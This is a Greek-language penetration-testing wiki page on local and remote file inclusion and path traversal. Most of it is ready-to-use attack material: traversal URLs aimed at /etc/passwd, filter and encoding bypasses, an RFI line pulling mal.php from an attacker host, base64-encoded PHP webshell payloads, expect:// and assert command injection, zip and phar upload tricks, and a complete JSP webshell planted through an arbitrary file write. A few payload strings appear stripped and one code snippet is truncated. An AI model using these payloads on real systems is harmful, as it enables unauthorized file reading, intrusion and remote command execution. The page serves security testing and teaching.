# File Inclusion/Path traversal
{{#include ../../banners/hacktricks-training.md}}
## File Inclusion
**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από απομακρυσμένο server (Καλύτερο: Μπορείς να γράψεις τον κώδικα και ο server θα τον εκτελέσει). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\
**Local File Inclusion (LFI):** Ο server φορτώνει ένα τοπικό αρχείο.
Η ευπάθεια προκύπτει όταν ο χρήστης μπορεί με κάποιο τρόπο να ελέγξει ποιο αρχείο θα φορτώσει ο server.
Ευπαθείς **PHP functions**: require, require_once, include, include_once
Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE αρχεία
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
Συνδυάζοντας διάφορες *nix LFI λίστες και προσθέτοντας περισσότερες διαδρομές δημιούργησα αυτήν:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Δοκίμασε επίσης να αλλάξεις `/` με `\`\
Δοκίμασε επίσης να προσθέσεις `../../../../../`
Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξετε αν η ευπάθεια υπάρχει) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Συγχώνευση διαφορετικών wordlists:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Δοκίμασε επίσης να αλλάξεις `/` με `\`\
Δοκίμασε επίσης να αφαιρέσεις `C:/` και να προσθέσεις `../../../../../`
Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξετε αν η ευπάθεια υπάρχει) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Έλεγξε τη λίστα LFI του linux.
## Βασικά LFI και bypasses
Όλα τα παραδείγματα είναι για Local File Inclusion αλλά θα μπορούσαν να εφαρμοστούν και σε Remote File Inclusion επίσης (page=[http://myserver.com/phpshellcode.txt\\]().
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequences αφαιρούνται μη-αναδρομικά
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass την προσθήκη επιπλέον χαρακτήρων στο τέλος της παρεχόμενης συμβολοσειράς (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Αυτό έχει **επιλυθεί από PHP 5.4**
### **Κωδικοποίηση**
Μπορείτε να χρησιμοποιήσετε μη-τυπικές κωδικοποιήσεις όπως double URL encode (και άλλα):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Από υπάρχον φάκελο
Ίσως το back-end να ελέγχει τη διαδρομή του φακέλου:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Εξερεύνηση Καταλόγων του Συστήματος Αρχείων σε έναν server
Το σύστημα αρχείων ενός server μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του καταλόγου και την έρευνα για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω περιγράφεται μια αναλυτική μέθοδος για να το επιτύχετε:
1. **Προσδιορίστε το Βάθος του Καταλόγου:** Προσδιορίστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο `/etc/passwd` (ισχύει εάν ο server βασίζεται σε Linux). Ένα παράδειγμα URL μπορεί να είναι δομημένο ως εξής, υποδεικνύοντας βάθος τρία:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Ανίχνευση Φακέλων:** Πρόσθεσε το όνομα του υποψιαζόμενου φακέλου (π.χ., `private`) στο URL, στη συνέχεια επέστρεψε στο `/etc/passwd`. Το πρόσθετο επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Ερμηνεία των Αποτελεσμάτων:** Η απάντηση του διακομιστή υποδεικνύει εάν ο φάκελος υπάρχει:
- **Σφάλμα / Χωρίς έξοδο:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στη συγκεκριμένη θέση.
- **Περιεχόμενο του `/etc/passwd`:** Η ύπαρξη του φακέλου `private` επιβεβαιώνεται.
4. **Αναδρομική Εξερεύνηση:** Οι εντοπισμένοι φάκελοι μπορούν να διερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες του συστήματος αρχείων, προσαρμόστε ανάλογα το payload. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν κατάλογο `private` (υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Το Path truncation είναι μια μέθοδος που χρησιμοποιείται για να χειραγωγήσει μονοπάτια αρχείων σε web εφαρμογές. Συχνά χρησιμοποιείται για πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των μονοπατιών αρχείων. Ο στόχος είναι να δημιουργηθεί ένα μονοπάτι αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, εξακολουθεί να δείχνει στο επιθυμητό αρχείο.
Στην PHP, διάφορες αναπαραστάσεις ενός μονοπατιού αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (κάνοντάς το `passwd/`) δεν αλλάζει το στοχευμένο αρχείο.
- Παρομοίως, εάν το `.php` προστεθεί σε ένα μονοπάτι αρχείου (όπως `shellcode.php`), η προσθήκη ενός `/.` στο τέλος δεν θα αλλάξει το αρχείο που προσπελαύνεται.
Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιηθεί το path truncation για πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
```
```
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Σε αυτά τα σενάρια, ο αριθμός των traversals που απαιτούνται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για την περιήγηση στο σύστημα αρχείων, αγνοώντας στην πράξη τις συμβολοσειρές που προσθέτει ο διακομιστής.
- **Determining the Required Number of Traversals**: Μέσω δοκιμής και σφάλματος, μπορεί κανείς να βρει τον ακριβή αριθμό των `../` ακολουθιών που χρειάζονται για να φτάσει στον root κατάλογο και στη συνέχεια στο `/etc/passwd`, διασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά το επιθυμητό μονοπάτι (`/etc/passwd`) παραμένει ανέπαφο.
- **Starting with a Fake Directory**: Είναι συνηθισμένη πρακτική να ξεκινάει η διαδρομή με έναν μη υπάρχοντα κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιηθούν οι απαιτήσεις της λογικής ανάλυσης διαδρομών του διακομιστή.
Κατά την εφαρμογή τεχνικών path truncation, είναι κρίσιμο να κατανοήσετε τη συμπεριφορά ανάλυσης διαδρομών του διακομιστή και τη δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και συχνά είναι απαραίτητο το testing για να βρεθεί η πιο αποτελεσματική μέθοδος.
**Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.**
### **Filter bypass tricks**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Off.** Πρέπει να είναι **On** για να λειτουργήσει, και σε αυτή την περίπτωση μπορείτε να include ένα PHP file από τον server σας και να αποκτήσετε RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), θα μπορούσατε να χρησιμοποιήσετε, για παράδειγμα, το data protocol με base64 για να αποκωδικοποιήσετε έναν b64 PHP κώδικα και να αποκτήσετε RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο attacker χρειαζόταν μια συμβολοσειρά που τελείωνε σε `.txt`, έτσι η συμβολοσειρά τελειώνει με αυτήν και μετά το b64 decode εκείνο το μέρος θα επιστρέψει απλώς σκουπίδια και ο πραγματικός PHP κώδικας θα συμπεριληφθεί (και επομένως, θα εκτελεστεί).
>
> Another example **μη χρησιμοποιώντας το πρωτόκολλο `php://`** θα ήταν:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Root element
Σε Python, σε έναν κώδικα όπως ο εξής:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Αν ο χρήστης περάσει ένα **absolute path** στο **`file_name`**, το **προηγούμενο path απλά αφαιρείται**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Είναι η αναμενόμενη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Εάν ένα στοιχείο είναι ένα απόλυτο μονοπάτι, όλα τα προηγούμενα στοιχεία αγνοούνται και η σύνδεση συνεχίζεται από το απόλυτο στοιχείο μονοπατιού.
## Java Λίστα καταλόγων
Φαίνεται πως αν έχετε ένα Path Traversal σε Java και **ζητήσετε έναν κατάλογο** αντί για αρχείο, θα επιστραφεί μια **λίστα του καταλόγου**. Αυτό δεν θα συμβαίνει σε άλλες γλώσσες (όσο ξέρω).
## Κορυφαίες 25 παράμετροι
Ακολουθεί λίστα με τις κορυφαίες 25 παραμέτρους που θα μπορούσαν να είναι ευάλωτες σε local file inclusion (LFI) ευπάθειες (από [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
## LFI / RFI χρησιμοποιώντας PHP wrappers & protocols
### php://filter
PHP filters επιτρέπουν την εκτέλεση βασικών **λειτουργιών τροποποίησης στα δεδομένα** πριν αυτά διαβαστούν ή εγγραφούν. Υπάρχουν 5 κατηγορίες φίλτρων:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Αφαιρεί tags από τα δεδομένα (ό,τι βρίσκεται ανάμεσα στους χαρακτήρες "<" και ">")
- Σημειώστε ότι αυτό το φίλτρο έχει εξαφανιστεί από τις σύγχρονες εκδόσεις του PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση (`convert.iconv..`). Για να πάρετε τη **λίστα όλων των κωδικοποιήσεων** που υποστηρίζονται τρέξτε στην κονσόλα: `iconv -l`
> [!WARNING]
> Καταχρηστική χρήση του φίλτρου μετατροπής `convert.iconv.*` μπορεί να σας επιτρέψει να **παράγετε αυθαίρετο κείμενο**, το οποίο μπορεί να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή για να κάνετε μια συνάρτηση όπως include να επεξεργαστεί αυθαίρετο κείμενο. Για περισσότερες πληροφορίες δείτε [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Συμπιέζει το περιεχόμενο (χρήσιμο αν εξάγετε μεγάλο όγκο πληροφοριών)
- `zlib.inflate`: Αποσυμπιέζει τα δεδομένα
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Απαρχαιωμένο
- `mdecrypt.*` : Απαρχαιωμένο
- Other Filters
- Τρέχοντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικά **μη αναμενόμενα φίλτρα**:
- `consumed`
- `dechunk`: αντιστρέφει το HTTP chunked encoding
- `convert.*`
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,Boldlalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> Το μέρος "php://filter" δεν είναι ευαίσθητο σε πεζά/κεφαλαία
### Using php filters as oracle to read arbitrary files
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για να διαβάσετε ένα τοπικό αρχείο χωρίς να επιστραφεί η έξοδος από τον server. Αυτή η τεχνική βασίζεται σε μια **boolean exfiltration of the file (char by char) using php filters** ως oracle. Αυτό συμβαίνει επειδή τα php filters μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε το php να ρίξει exception.
Στο αρχικό post θα βρείτε αναλυτική εξήγηση της τεχνικής, αλλά εδώ είναι μια σύντομη περίληψη:
- Χρησιμοποιήστε τον codec **`UCS-4LE`** για να αφήσετε τον πρώτο χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
- Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν ο αρχικός χαρακτήρας μαντευτεί σωστά** που το php θα προκαλέσει **error**
- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι hexadecimal**, οπότε μπορούμε να γνωρίζουμε αν ο πρώτος χαρακτήρας είναι hex.
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα filters ανάλογα με τον μαντεμένο χαρακτήρα), θα μας επιτρέψει να μαντέψουμε έναν χαρακτήρα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετασχηματίσεις ώστε να μην είναι πλέον δεκαεξαδικός χαρακτήρας. Εάν είναι hex, το dechunk δεν το διαγράφει και η αρχική "βόμβα" θα προκαλέσει php error.
- Ο codec **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (οπότε μετά από αυτόν τον codec: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι `a` για παράδειγμα, γιατί αν εφαρμόσουμε 6 φορές αυτόν τον codec a->b->c->d->e->f->g ο χαρακτήρας δεν είναι πλέον δεκαεξαδικός, επομένως το dechunk δεν τον διαγράφει και το php error ενεργοποιείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
- Χρησιμοποιώντας άλλους μετασχηματισμούς όπως **rot13** στην αρχή είναι δυνατόν να leak άλλους χαρακτήρες όπως n, o, p, q, r (και άλλοι codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex range).
- Όταν ο αρχικός χαρακτήρας είναι αριθμός χρειάζεται να τον base64 encode και να leak τα 2 πρώτα γράμματα για να εξαχθεί ο αριθμός.
- Το τελικό πρόβλημα είναι να δούμε **πώς να leak περισσότερα από τον αρχικό χαρακτήρα**. Χρησιμοποιώντας order memory filters όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατόν να αλλάξει η σειρά των χαρακτήρων και να μπουν στην πρώτη θέση άλλα γράμματα του κειμένου.
- Και για να μπορέσουμε να πάρουμε **περαιτέρω δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes junk data στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να τα κάνουμε **pivot με τα επόμενα 2 bytes**, και d**elete the data until the junk data** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίζετε έτσι μέχρι να φτάσετε στο επιθυμητό κομμάτι για leak.
Στο άρθρο διατέθηκε επίσης ένα εργαλείο για αυτόματη εκτέλεση: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Αυτό το wrapper επιτρέπει την πρόσβαση σε file descriptors που η διεργασία έχει ανοιχτά. Ενδεχομένως χρήσιμο για exfiltrate το περιεχόμενο ανοιχτών αρχείων:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Μπορείτε επίσης να χρησιμοποιήσετε **php://stdin, php://stdout and php://stderr** για να αποκτήσετε πρόσβαση στα **file descriptors 0, 1 and 2** αντίστοιχα (δεν είναι σαφές πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση)
### zip:// and rar://
Ανεβάστε ένα Zip ή Rar αρχείο με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.\
Για να μπορείτε να εκμεταλλευτείτε το rar protocol, αυτό **πρέπει να ενεργοποιηθεί συγκεκριμένα**.
```bash
echo "" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
```
http://example.net/?page=data://text/plain,
http://example.net/?page=data://text/plain,
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,
http://example.net/?page=data:text/plain,
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is ""
```
Σημειώστε ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις του php **`allow_url_open`** και **`allow_url_include`**
### expect://
Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας το εξής:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Καθορίστε το payload σας στις παραμέτρους POST:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data ""
```
### phar://
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια web εφαρμογή αξιοποιεί συναρτήσεις όπως `include` για τη φόρτωση αρχείων. Το παράδειγμα κώδικα PHP που ακολουθεί δείχνει τη δημιουργία ενός αρχείου `.phar`:
```php
startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('');
$phar->stopBuffering();
```
Για να μεταγλωττιστεί το αρχείο `.phar`, πρέπει να εκτελεστεί η ακόλουθη εντολή:
```bash
php --define phar.readonly=0 create_path.php
```
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα `test.phar`, το οποίο ενδέχεται να αξιοποιηθεί για να εκμεταλλευτεί ευπάθειες Local File Inclusion (LFI).
Σε περιπτώσεις όπου το LFI απλώς διαβάζει αρχεία χωρίς να εκτελεί τον PHP κώδικα εντός, μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()`, μπορεί να επιχειρηθεί εκμετάλλευση ευπάθειας απο-σειριοποίησης. Αυτή η ευπάθεια συνδέεται με το διάβασμα αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`.
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
{{#ref}}
phar-deserialization.md
{{#endref}}
### CVE-2024-2961
Ήταν δυνατό να καταχραστεί **οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP και υποστηρίζει php filters** για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να [**βρεθεί σε αυτό το post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Πολύ σύντομη περίληψη: μια **3 byte overflow** στο PHP heap εκμεταλλεύτηκε για να **αλλάξει την αλυσίδα των free chunks** συγκεκριμένου μεγέθους ώστε να είναι δυνατή η **γραφή οτιδήποτε σε οποιαδήποτε διεύθυνση**, οπότε προστέθηκε ένα hook για την κλήση της **`system`**.\
Ήταν δυνατό να διατεθούν chunks συγκεκριμένων μεγεθών εκμεταλλευόμενοι περισσότερα php filters.
### More protocols
Ελέγξτε περισσότερα πιθανά[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Γράφει στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είμαι σίγουρος πώς αυτό μπορεί να είναι χρήσιμο σε μια file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο local filesystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Πρόσβαση σε HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Πρόσβαση σε FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Εύρεση ονομάτων διαδρομών που ταιριάζουν με μοτίβο (Δεν επιστρέφει κάτι εκτυπώσιμο, οπότε δεν είναι ιδιαίτερα χρήσιμο εδώ)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Δεν είναι χρήσιμο για το διάβασμα αυθαίρετων αρχείων)
## LFI via PHP's 'assert'
Οι κίνδυνοι Local File Inclusion (LFI) στο PHP είναι ιδιαίτερα υψηλοί όταν χρησιμοποιείται η συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε strings. Αυτό είναι ιδιαίτερα προβληματικό εάν γίνεται έλεγχος εισόδου που περιέχει χαρακτήρες directory traversal όπως ".." αλλά δεν γίνεται σωστή απολύμανση.
Για παράδειγμα, ο PHP κώδικας μπορεί να έχει σχεδιαστεί για να αποτρέπει το directory traversal ως εξής:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Ενώ αυτό στοχεύει στο να αποτρέψει το traversal, δημιουργεί κατά λάθος ένα διάνυσμα για code injection. Για να το εκμεταλλευτεί για να διαβάσει το περιεχόμενο αρχείων, ένας attacker θα μπορούσε να χρησιμοποιήσει:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Ομοίως, για την εκτέλεση αυθαίρετων system commands, κάποιος μπορεί να χρησιμοποιήσει:
```plaintext
' and die(system("id")) or '
```
It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου **control** το **file path** μιας **PHP function** που θα **access a file** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση σε **`file()`**) αφού το περιεχόμενο δεν εμφανίζεται.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) εξηγείται πώς ένα blind path traversal μπορεί να καταχραστεί μέσω PHP filter για να **exfiltrate the content of a file via an error oracle**.
Συνοπτικά, η τεχνική χρησιμοποιεί την κωδικοποίηση **"UCS-4LE"** ώστε το περιεχόμενο ενός αρχείου να γίνει τόσο **big** που η **PHP function opening** το αρχείο θα προκαλέσει ένα **error**.
Έπειτα, για να leak ο πρώτος χαρακτήρας χρησιμοποιείται το φίλτρο **`dechunk`** μαζί με άλλα όπως **base64** ή **rot13** και τελικά τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** χρησιμοποιούνται για να **place other chars at the beggining and leak them**.
Συναρτήσεις που μπορεί να είναι ευάλωτες: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Για τις τεχνικές λεπτομέρειες δείτε το προαναφερθέν post!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow:
- Εντοπίστε ένα write primitive σε ένα endpoint ή background worker που δέχεται ένα path/filename και γράφει περιεχόμενο στο δίσκο (π.χ. message-driven ingestion, XML/JSON command handlers, ZIP extractors, κ.λπ.).
- Determine web-exposed directories. Common examples:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Κατασκευάστε ένα traversal path που θα βγει από τον προορισμένο storage directory προς το webroot, και συμπεριλάβετε το webshell content σας.
- Περιηγηθείτε στο dropped payload και εκτελέστε εντολές.
Notes:
- Η ευάλωτη υπηρεσία που εκτελεί το write μπορεί να ακούει σε non-HTTP port (π.χ. ένας JMF XML listener σε TCP 4004). Το κύριο web portal (σε άλλη θύρα) θα σερβίρει αργότερα το payload σας.
- Σε Java stacks, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή σύνδεση `File`/`Paths`. Η έλλειψη canonicalisation/allow-listing είναι το βασικό σφάλμα.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
../../../webapps/ROOT/shell.jsp
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
```
Μέτρα σκληρύνσεως που αποτρέπουν αυτή την κατηγορία σφαλμάτων:
- Επίλυση σε canonical path και επιβολή ότι είναι απόγονος ενός allow-listed base directory.
